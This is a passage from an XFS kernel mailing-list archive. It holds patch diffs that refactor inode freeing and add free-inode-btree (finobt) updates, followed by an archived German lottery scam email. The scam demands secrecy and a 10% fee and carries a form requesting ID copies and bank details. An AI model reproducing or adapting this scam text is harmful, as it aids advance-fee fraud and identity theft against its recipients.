*tp, + struct xfs_buf *agbp, + xfs_agino_t agino, + struct xfs_bmap_free *flist, + int *delete, + xfs_ino_t *first_ino, + struct xfs_inobt_rec_incore *orec) { - /* REFERENCED */ - xfs_agblock_t agbno; /* block number containing inode */ - xfs_buf_t *agbp; /* buffer containing allocation group header */ - xfs_agino_t agino; /* inode number relative to allocation group */ - xfs_agnumber_t agno; /* allocation group number */ - xfs_agi_t *agi; /* allocation group header */ - xfs_btree_cur_t *cur; /* inode btree cursor */ - int error; /* error return value */ - int i; /* result code */ - int ilen; /* inodes in an inode cluster */ - xfs_mount_t *mp; /* mount structure for filesystem */ - int off; /* offset of inode in inode chunk */ - xfs_inobt_rec_incore_t rec; /* btree record */ - struct xfs_perag *pag; - - mp = tp->t_mountp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + struct xfs_perag *pag; + struct xfs_btree_cur *cur; + struct xfs_inobt_rec_incore rec; + int ilen; + int error; + int i; + int off; - /* - * Break up inode number into its components. - */ - agno = XFS_INO_TO_AGNO(mp, inode); - if (agno >= mp->m_sb.sb_agcount) { - xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= %d).", - __func__, agno, mp->m_sb.sb_agcount); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - agino = XFS_INO_TO_AGINO(mp, inode); - if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { - xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", - __func__, (unsigned long long)inode, - (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - agbno = XFS_AGINO_TO_AGBNO(mp, agino); - if (agbno >= mp->m_sb.sb_agblocks) { - xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", - __func__, agbno, mp->m_sb.sb_agblocks); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - /* - * Get the allocation group header. - */ - error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); - if (error) { - xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", - __func__, error); - return error; - } - agi = XFS_BUF_TO_AGI(agbp); ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); - ASSERT(agbno < be32_to_cpu(agi->agi_length)); + ASSERT(XFS_AGINO_TO_AGBNO(mp, agino) < be32_to_cpu(agi->agi_length)); + /* * Initialize the cursor. */ @@ -1512,6 +1468,7 @@ xfs_difree( if (error) goto error0; + *orec = rec; xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; @@ -1520,6 +1477,80 @@ error0: return error; } +/* + * Free disk inode. Carefully avoids touching the incore inode, all + * manipulations incore are the caller's responsibility. + * The on-disk inode is not changed by this operation, only the + * btree (free inode mask) is changed. + */ +int +xfs_difree( + struct xfs_trans *tp, /* transaction pointer */ + xfs_ino_t inode, /* inode to be freed */ + struct xfs_bmap_free *flist, /* extents to free */ + int *delete,/* set if inode cluster was deleted */ + xfs_ino_t *first_ino)/* first inode in deleted cluster */ +{ + /* REFERENCED */ + xfs_agblock_t agbno; /* block number containing inode */ + struct xfs_buf *agbp; /* buffer for allocation group header */ + xfs_agino_t agino; /* allocation group inode number */ + xfs_agnumber_t agno; /* allocation group number */ + int error; /* error return value */ + struct xfs_mount *mp; /* mount structure for filesystem */ + struct xfs_inobt_rec_incore rec;/* btree record */ + + mp = tp->t_mountp; + + /* + * Break up inode number into its components. + */ + agno = XFS_INO_TO_AGNO(mp, inode); + if (agno >= mp->m_sb.sb_agcount) { + xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= %d).", + __func__, agno, mp->m_sb.sb_agcount); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agino = XFS_INO_TO_AGINO(mp, inode); + if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { + xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", + __func__, (unsigned long long)inode, + (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agbno = XFS_AGINO_TO_AGBNO(mp, agino); + if (agbno >= mp->m_sb.sb_agblocks) { + xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", + __func__, agbno, mp->m_sb.sb_agblocks); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + /* + * Get the allocation group header. + */ + error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); + if (error) { + xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", + __func__, error); + return error; + } + + /* + * Fix up the inode allocation btree. + */ + error = xfs_difree_inobt(mp, tp, agbp, agino, flist, delete, first_ino, + &rec); + if (error) + goto error0; + + return 0; + +error0: + return error; +} + STATIC int xfs_imap_lookup( struct xfs_mount *mp, -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:50:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EDB887F62 for ; Tue, 4 Feb 2014 11:50:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B8D3530409A for ; Tue, 4 Feb 2014 09:50:13 -0800 (PST) X-ASG-Debug-ID: 1391536185-04bdf0121e10d540001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8okdzVwIipFKA7nJ for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjCm030309 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s14HniRM011542 for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id A79011250C5; Tue, 4 Feb 2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 08/11] xfs: update the finobt on inode free Date: Tue, 4 Feb 2014 12:49:39 -0500 X-ASG-Orig-Subj: [PATCH v3 08/11] xfs: update the finobt on inode free Message-Id: <1391536182-9048-9-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 An inode free operation can have several effects on the finobt. If all inodes have been freed and the chunk deallocated, we remove the finobt record. If the inode chunk was previously full, we must insert a new record based on the existing inobt record. Otherwise, we modify the record in place. Create the xfs_ifree_finobt() function to identify the potential scenarios and update the finobt appropriately. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 109 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 109 insertions(+) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 06851db..c5d6cdc 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1478,6 +1478,106 @@ error0: } /* + * Free an inode in the free inode btree. + */ +STATIC int +xfs_difree_finobt( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t agino, + struct xfs_inobt_rec_incore *ibtrec) /* inobt record */ +{ + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + struct xfs_btree_cur *cur; + struct xfs_inobt_rec_incore rec; + int offset = agino - ibtrec->ir_startino; + int error; + int i; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + + error = xfs_inobt_lookup(cur, ibtrec->ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + goto error; + if (i == 0) { + /* + * If the record does not exist in the finobt, we must have just + * freed an inode in a previously fully allocated chunk. If not, + * something is out of sync. + */ + XFS_WANT_CORRUPTED_GOTO(ibtrec->ir_freecount == 1, error); + + error = xfs_inobt_insert_rec(cur, ibtrec->ir_freecount, + ibtrec->ir_free, &i); + if (error) + goto error; + ASSERT(i == 1); + + goto out; + } + + /* + * Read and update the existing record. + */ + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + + rec.ir_free |= XFS_INOBT_MASK(offset); + rec.ir_freecount++; + + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == ibtrec->ir_free) && + (rec.ir_freecount == ibtrec->ir_freecount), + error); + + /* + * The content of inobt records should always match between the inobt + * and finobt. The lifecycle of records in the finobt is different from + * the inobt in that the finobt only tracks records with at least one + * free inode. This is to optimize lookup for inode allocation purposes. + * The following checks determine whether to update the existing record or + * remove it entirely. + */ + + if (rec.ir_freecount == XFS_IALLOC_INODES(mp) && + !(mp->m_flags & XFS_MOUNT_IKEEP)) { + /* + * If all inodes are free and we're in !ikeep mode, the entire + * inode chunk has been deallocated. Remove the record from the + * finobt. + */ + error = xfs_btree_delete(cur, &i); + if (error) + goto error; + ASSERT(i == 1); + } else { + /* + * The existing finobt record was modified and has a combination + * of allocated and free inodes or is completely free and ikeep + * is enabled. Update the record. + */ + error = xfs_inobt_update(cur, &rec); + if (error) + goto error; + } + +out: + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +error: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + +/* * Free disk inode. Carefully avoids touching the incore inode, all * manipulations incore are the caller's responsibility. * The on-disk inode is not changed by this operation, only the @@ -1545,6 +1645,15 @@ xfs_difree( if (error) goto error0; + /* + * Fix up the free inode btree. + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + error = xfs_difree_finobt(mp, tp, agbp, agino, &rec); + if (error) + goto error0; + } + return 0; error0: -- 1.8.1.4 From ellyuc@gmail.com Tue Feb 4 11:51:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=FILL_THIS_FORM, FILL_THIS_FORM_FRAUD_PHISH,FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE, SUBJ_ALL_CAPS,T_DKIM_INVALID,T_FRT_CONTACT,T_TVD_FUZZY_SECTOR autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C3D67F54 for ; Tue, 4 Feb 2014 11:51:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94A64AC003 for ; Tue, 4 Feb 2014 09:51:41 -0800 (PST) X-ASG-Debug-ID: 1391536296-04cb6c6de3ff6a0001-w1Z2WR Received: from mail-ob0-f196.google.com (mail-ob0-f196.google.com [209.85.214.196]) by cuda.sgi.com with ESMTP id 0cXqDBv6mZkHFHit (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 04 Feb 2014 09:51:36 -0800 (PST) X-Barracuda-Envelope-From: ellyuc@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.196 Received: by mail-ob0-f196.google.com with SMTP id gq1so2942263obb.11 for ; Tue, 04 Feb 2014 09:51:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=xO9ZVw3iB0+R7ISqIT64sSfzQlKi1x0fd+n7rA3S/t8=; b=NcMoJVu75WHpi2wEalwVXriuOyBBdr1qSM7O0X0OpiE4+SIGhlT37uhoWclMB7gRnR glHLJKyzjHsBkaY2/9QTFY2G7urhe345DSIaqfIbwgu6QxJUcBvoeFzNtfbbO5x3Uqf6 Qer0QEW4t0vBqx3gaSr/0RifFlTfwaVNarjU869hfrlqk18uOb7h0iw1GuCpWltnjph/ Cml7fVfkXN6x5XNTUSZ1t33eScFscOfvoZMuB72eg+QPkjreAxXlKXrF0wx+br0CXV4M JJxBL/5GWtHegzH2fPFhIrrXbE/kNb4FXYsoSLo7LgOaDSHdxqI3poMA9ChvjsSmh97D zHow== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.182.226.202 with SMTP id ru10mr36408102obc.7.1391536295510; Tue, 04 Feb 2014 09:51:35 -0800 (PST) Received: by 10.60.164.101 with HTTP; Tue, 4 Feb 2014 09:51:35 -0800 (PST) Date: Tue, 4 Feb 2014 18:51:35 +0100 Message-ID: Subject: OFFIZIELLE GEWINNBENACHRITIGUNG From: uc elly X-ASG-Orig-Subj: OFFIZIELLE GEWINNBENACHRITIGUNG To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c32efa9646af04f1984aa3 X-Barracuda-Connect: mail-ob0-f196.google.com[209.85.214.196] X-Barracuda-Start-Time: 1391536296 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 --001a11c32efa9646af04f1984aa3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable INTERNACIONALES LOTTO (COMMISSION) LOTERIA LA PRIMITIVA S.L. Plaza Romano N>19 Planta 5 28011 Madrid, Spain. TEL/FAX:0034 638 580 441 E-mail: b.massimoeuromillones@spainmail.com OFFIZIELLEMITTEILUNG:VON SITZ DES VIZE PRASIDENTEN INTERNATIONALE PROMOTIOM-GEWINNZUTEILUNG REFERENZNUMMER: ENN-25456009-ESP BEARBEITUNGSNUMMER:ELP/25456009/ESP ENDGSLTIG ZU GEWINNEN / NOTICIAS / NEWS DATUM 02 / 02 / ,2014 10:19:24 GMT OFFIZIELLE GEWINNBENACHRITIGUNG Wir sind erfreut ihnen mitteilen zu konnen, das die gewinnliste INTERNACIONALES LOTTO (COMMISSION) LOTERIA LA PRIMITIVA S.L. PROGRAMM an 09.12.2013 erschienen ist.Dir offizielle liste der gewinner erschien am 20.12.2013 Ihr name wurde auf dem los mit dir nummer:025.11464992.750 und mit der seriennummer:2113-06 registried. Die glucksnummer:10-16-25-41-46,haben in der 3. kategorie gewonnen. Sie sind damit gewinner von EUROS,935,470,00 (NEUN HUNDERT UND DREISSIG FUNF THUUSAND VIER HUNDERT UND SIEBZIG EUROS) Die summe ergibt sich einer gewinnausschuttung von.EURO 325,000,000,00. Die summe wurde durch 15 gewinnern aus der glieichen kategorie geteilt. HERZLICHEN GLUCKWUNSCH!!!!!!: DAHER SIND SIE FsR DIESE LEISTUNG AUSGEWZHLT. Dir gewinn ist bei einer sicherheitsfirma hinterlegt und in ihren namen versichert. um keine komplikationen bei der abwicklung der zahlung zu verursachen bitten wir sie diese offizielle mitteilung , diskret zu behandeln.,es ist ein teil unseres sicherheitsprotokolls und garantiet ihnen einen reibunglosen Ablauf. Alle gewinner werden per computer aus 45.000 namen aus ganz europa ,asien, australien und amerika als teil unserer Internationalen promotion programms ausgewahlt, Welches wir einmal im jahr veranstalten. Bitte kontaktieren sie unseren auslands sachbearbeiter BRIGITTE MASSIMO bei der FIRMA DE SEGUROS ADESLAS, S.A., auf Telefon: 0034 631 590 880, Fax: 0034 911 820 363 Bitte denken sie daran, jeder gewinnanspruch muss bis zum 15/02/2014 Angemeldete sein. Jeder nicht angemeldet Gewinnanspruch verfallt und geht zuruck an das MINISTERIO DE ECONOMIA Y HACIENDA Bitte denken sie auch daran das 10% ihres gewinnes an die FIRMA DE SEGUROS ADESLAS, S.A., geht. Dir 10% sind erst nach erhalt des gewinnes fallig da der gewinn in ihren namen versichert ist. WICHTIG: um verzogerungen und komplikationen zu vermeiden, bitte immer referenznummer und bearbeitungsnummer angeben. Adressanderungen bitte immer so schell wie moglich mitteilen Anbei ein anmeldeformular, bitte ausfullen und zuruck Per fax an die sicherheitdfirma FIRMA DE SEGUROS ADESLAS, S.A., auf Fax: 0034 911 820 363 Mit freundlichen Gr_~en ALAMEDA CATALINA VICE PRESIDENT, TICKET N":025.11464992.750 ______________________________________________________________ Leasing, Kommission Agent, Technologie &innvovation, Chronologie, Sohle Vertreter,Sicherheit Dienstleistungen Die Catalana West Gruppe ist eine von die F_hrer in die Versicherung Sektor in Spanien, mit ein Konstante wachsende und Implantation. Die Catalana, gegr_ndet in 1864, wurde Teil von West in 1959; Von dann Catalana West Gruppe ist eine von die gr"~te unabh"ngige Unternehmen von die Spanisch Markt, gegeben Das Es ist nicht gebunden An Alle andere finanzielle Entit"t oder ausl"ndische Gruppe, FIRMA DE SEGUROS ADESLAS, S.A., HAUPTSITZ: AVD. De RAMON Y CAJAL N"39, 28023 MADRID-ESPA=D1A PLAZA INDEPENDENCIA N" 2 12001 CASTELLON-ESPA=D1A Kontakt: BRIGITTE MASSIMO Telefon: 0034 631 590 880 FAX: 0034 911 820 363 Bitte antworten Sie durch meine private-e-Mail-Adresse f_r Sicherheit Zweck E-mail: b.massimoeuromillones@spainmail.com, ANMELDEFORMULAR ZUR ANMELDUNG EINES GEWINNANSPRUCHS BITTER FULLEN SIE DIESES FORMULAR SORGSAM AUS UND FAXEN,oder per E-MAIL An lotto-sanchez@yandex.com UM IHRE ANSPRsCHE ZU STARTEN, FsLLEN SIE BITTE DIE ZAHLUNG VERBUNDEN BILDEN UNTEN UND UMFASSEN EINE FOTOKOPIE IHRER IDENTIFIKATION. INTERNATIONALEN REISEPASS ODER FsHRERSCHEIN-LIZENZ. REFERENCEZNUMMER:____________________________________________ BEARBEITUNGSNUMMER:__________________________________________ NAME:______________________VORNAME:__________________________ GEBURTSDATUM:__________________NATIONALITAT:_________________ ABLAUF DATUM:_________________LOSNUMMER:_____________________ SERIENNUMMER:_________________GLUCKSZAHLEN:__________________ STRASSE:________________________________NUMMER:______________ WOHNORT:____________________________POSTLEITZAHL:____________ LAND:_______________________TELEFON:_________________________ MOBIL:___________________________FAX:________________________ BEFUF:__________________________FAMIELIENSTAND:______________ (GESCHLECHT):_______________(WIE VIEL SIE GEWINNEN):_________ E-mail:______________________________________________________ ZAHLUNGS OPTION:(A)BANKUBERWEISUNG:(B)BARSCHECK (BANKDATEN SIND NUR NOTWENDIG WENN SIE SICH FUER EINE BANKUEBERWEISUNG ENTSCHIEDEN HABEN) NAME DES GELDINSTITUTS:_______________________________ KONTONUMMER:__________________________________________ BANKLEITZAHL:_________________________________________ BANK ADDRESS:_________________________________________ TELEFONNUMMER:________________________________________ FAX:NUMMER:___________________________________________ BEGsNSTIGTEN ERKLZRUNG HIERMIT ERKLARE ICH DER ANTRAGSTELLER DAS WEDER ICH ODER EIN MITGLIED MEINE FAMILIE JEMALS EINE GEWINNANSPRUCH BEI DER SICHERHEITSFIRMA COMPA=A5= IA DE SEGUROS ADESLAS , S.A, ANGEMELDETHABEN. WEITER ERKLARE ICH MICH EINVERSTANDEN 10% MEINES GEWINNES AN DIE FIRMA DE SEGUROS ADESLAS, S.A., ZU ZAHLEN. UNTERSCHRIFT:__________________DATUM:___________________ --001a11c32efa9646af04f1984aa3 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

INTERNACIONALES LOTTO (COMMI= SSION) LOTERIA LA PRIMITIVA S.L.

Plaza Romano N>19 Planta 5

280= 11 Madrid, Spain.                 &= nbsp;      

TEL= /FAX:0034 638 580 441

E-mail: b.massimoeuromillones@spa= inmail.com

            &nb= sp;                     &= nbsp;                    =                

OFFIZIELLEMITTEILUNG:VON SITZ DES VIZE PRASID= ENTEN

INTERNATIONALE PROMOTIOM-GEWINNZUTEILUNG

REFERENZNUMMER: ENN-25456009-ESP

BEA= RBEITUNGSNUMMER:ELP/25456009/ESP

END= GSLTIG ZU GEWINNEN / NOTICIAS / NEWS  

DAT= UM  02 /  02  / ,2014 10:19:24 GMT

&nb= sp;

        &nb= sp;     OFFIZIELLE GEWINNBENACHRITIGUNG       &nbs= p;                     &n= bsp;  

Wir sind erfreut ihnen mitteilen zu konnen, d= as die gewinnliste  INTERNACIONALES LOTTO (COMMISSION) LOTERIA LA PRIM= ITIVA S.L. PROGRAMM an  09.12.2013  erschienen ist.Dir offizielle= liste der gewinner erschien am 20.12.2013  Ihr name wurde  auf d= em los mit dir nummer:025.11464992.750 und mit der   seriennummer:2113= -06 registried. Die glucksnummer:10-16-25-41-46,haben in  der 3. kateg= orie gewonnen.


Sie= sind damit gewinner von EUROS,935,470,00 (NEUN HUNDERT UND DREISSIG FUNF &= nbsp;THUUSAND VIER HUNDERT UND SIEBZIG EUROS) Die summe ergibt sich einer &= nbsp; gewinnausschuttung von.€325,000,000,00. Die summe wurde durch 15= gewinnern  aus der glieichen kategorie geteilt.  HERZLICHEN GLUC= KWUNSCH!!!!!!: DAHER  SIND 

SIE FsR DIESE LEISTUNG AUSGEWZHLT.


Dir= gewinn ist bei einer sicherheitsfirma hinterlegt und in ihren namen  = versichert. um keine komplikationen bei der abwicklung der zahlung zu  = ;verursachen   bitten wir sie diese offizielle mitteilung , diskret zu=  behandeln.,es ist ein teil unseres sicherheitsprotokolls und garanti= et  ihnen einen reibunglosen  Ablauf.


All= e gewinner werden per computer aus 45.000 namen aus ganz europa ,asien, &nb= sp;australien und amerika als teil unserer

Int= ernationalen promotion programms ausgewahlt, Welches wir einmal im jahr &nb= sp;veranstalten.

Bitte kontaktieren sie unseren au= slands sachbearbeiter BRIGITTE MASSIMO  bei der FIRMA DE SEGUROS ADESL= AS, S.A.,   auf Telefon:  0034 631 590 880, Fax: 0034  911 8= 20 363 Bitte denken sie daran, jeder  gewinnanspruch muss bis zum 15/0= 2/2014 Angemeldete sein. Jeder nicht  angemeldet Gewinnanspruch verfal= lt und geht 

zuruck an das MINISTERIO DE  ECONOMIA Y = HACIENDA Bitte denken sie auch daran das 10% ihres gewinnes an  die FI= RMA DE SEGUROS ADESLAS, S.A.,   geht. Dir 10%  sind erst nach erh= alt des  gewinnes fallig da der gewinn in ihren namen versichert ist.<= /span>


WIC= HTIG: um verzogerungen und komplikationen zu vermeiden, bitte immer  r= eferenznummer und bearbeitungsnummer angeben.  Adressanderungen  = bitte  immer so  schell wie moglich mitteilen Anbei ein anmeldefo= rmular, bitte  ausfullen und zuruck Per fax an die sicherheitdfirma FI= RMA DE SEGUROS ADESLAS, S.A., auf  Fax:  0034  911 820 363


Mit= freundlichen Gr_~en

ALAMEDA CATALI= NA                     &n= bsp;                     =             

VICE PRESIDENT,         &= nbsp;                    =                     &nbs= p;               

TICKET N":025.11464992.750

___= ___________________________________________________________

Lea= sing, Kommission Agent, Technologie &innvovation, Chronologie, Sohle &n= bsp;Vertreter,Sicherheit Dienstleistungen Die Catalana West Gruppe ist eine=  von die  


F_h= rer in die Versicherung Sektor in Spanien, mit ein Konstante  wachsend= e und Implantation. Die Catalana, gegr_ndet in 1864, wurde Teil  von W= est in 1959;  Von dann Catalana West Gruppe ist eine von die gr"~= te  unabh"ngige Unternehmen von die Spanisch Markt, gegeben Das E= s ist nicht  gebunden An Alle andere 


fin= anzielle Entit"t oder ausl"ndische Gruppe,

FIR= MA DE SEGUROS ADESLAS, S.A.,             &nbs= p;                     &n= bsp;                     =                      = ;                     &nb= sp;                    

HAUPTSITZ: AVD. De RAMON Y CAJAL N"39, 2= 8023 MADRID-ESPA=D1A

PLAZA INDEPENDENCIA N" 2     &= nbsp;                    =

12001 CASTELLON-ESPA=D1A      =                     &nbs= p;                     &n= bsp;                    <= /span>

Kontakt: BRIGITTE MASSIMO

Tel= efon: 0034 631 590 880

FAX: 0034 91= 1 820 363

Bitte antworten Sie durch meine private-e-Mai= l-Adresse f_r Sicherheit Zweck E-mail: b.massimoeuromillones@spainmail.com,     &= nbsp;                    =     


ANM= ELDEFORMULAR ZUR ANMELDUNG EINES GEWINNANSPRUCHS        = ;                     &nb= sp;                    

BIT= TER FULLEN SIE DIESES FORMULAR SORGSAM AUS UND FAXEN,oder per E-MAIL An &nb= sp;lotto-sanchez@yandex.com=  


UM = IHRE ANSPRsCHE ZU STARTEN, FsLLEN SIE BITTE DIE ZAHLUNG VERBUNDEN  BIL= DEN UNTEN UND UMFASSEN EINE FOTOKOPIE IHRER IDENTIFIKATION.  INTERNATI= ONALEN 


REI= SEPASS ODER FsHRERSCHEIN-LIZENZ.

REFERENCEZNUMMER:________________= ____________________________

BEARBEITUNGSNUMMER:__________________________= ________________

NAME:______________________VORNAME:__________= ________________

GEBURTSDATUM:__________________NATIONALITAT:_= ________________

ABLAUF DATUM:_________________LOSNUMMER:_____= ________________

SERIENNUMMER:_________________GLUCKSZAHLEN:__= ________________

STRASSE:________________________________NUMME= R:______________

WOHNORT:____________________________POSTLEITZ= AHL:____________

LAND:_______________________TELEFON:_________= ________________

MOBIL:___________________________FAX:________= ________________

BEFUF:__________________________FAMIELIENSTAN= D:______________

(GESCHLECHT):_______________(WIE VIEL SIE GEW= INNEN):_________

E-mail:______________________________________= ________________


ZAH= LUNGS OPTION:(A)BANKUBERWEISUNG:(B)BARSCHECK

(BA= NKDATEN SIND NUR NOTWENDIG WENN SIE SICH FUER EINE   BANKUEBERWEISUNG =  ENTSCHIEDEN HABEN)

NAM= E DES GELDINSTITUTS:_______________________________

KON= TONUMMER:__________________________________________

BAN= KLEITZAHL:_________________________________________

BAN= K ADDRESS:_________________________________________

TEL= EFONNUMMER:________________________________________

FAX= :NUMMER:___________________________________________

&nb= sp;                     &= nbsp;       

&n= bsp;                     =        BEGsNSTIGTEN ERKLZRUNG       &nbs= p;                     &n= bsp;                     =                      = ;   

HIERMIT ERKLARE ICH DER ANTRAGSTELLER DAS WED= ER ICH ODER EIN MITGLIED  MEINE FAMILIE JEMALS EINE GEWINNANSPRUCH BEI= DER SICHERHEITSFIRMA COMPA=A5IA DE SEGUROS 

ADESLAS , S.A, ANGEMELDETHABEN. WEITER ERKLAR= E ICH MICH EINVERSTANDEN 10%  MEINES GEWINNES AN DIE FIRMA DE SEGUROS = ADESLAS, S.A.,  ZU ZAHLEN.             &= nbsp;  

UNTERSCHRIFT:__________________DATUM:________= ___________

--001a11c32efa9646af04f1984aa3-- From alex@zadarastorage.com Tue Feb 4 11:53:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0F7B97F53 for ; Tue, 4 Feb 2014 11:53:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0339C30408D for ; Tue, 4 Feb 2014 09:53:08 -0800 (PST) X-ASG-Debug-ID: 1391536385-04cb6c6de3ffc90001-NocioJ Received: from mail-ee0-f44.google.com (mail-ee0-f44.google.com [74.125.83.44]) by cuda.sgi.com with ESMTP id rw39cqlFFAWQo3qr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 04 Feb 2014 09:53:06 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.83.44 Received: by mail-ee0-f44.google.com with SMTP id c13so4447792eek.31 for ; Tue, 04 Feb 2014 09:53:05 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; 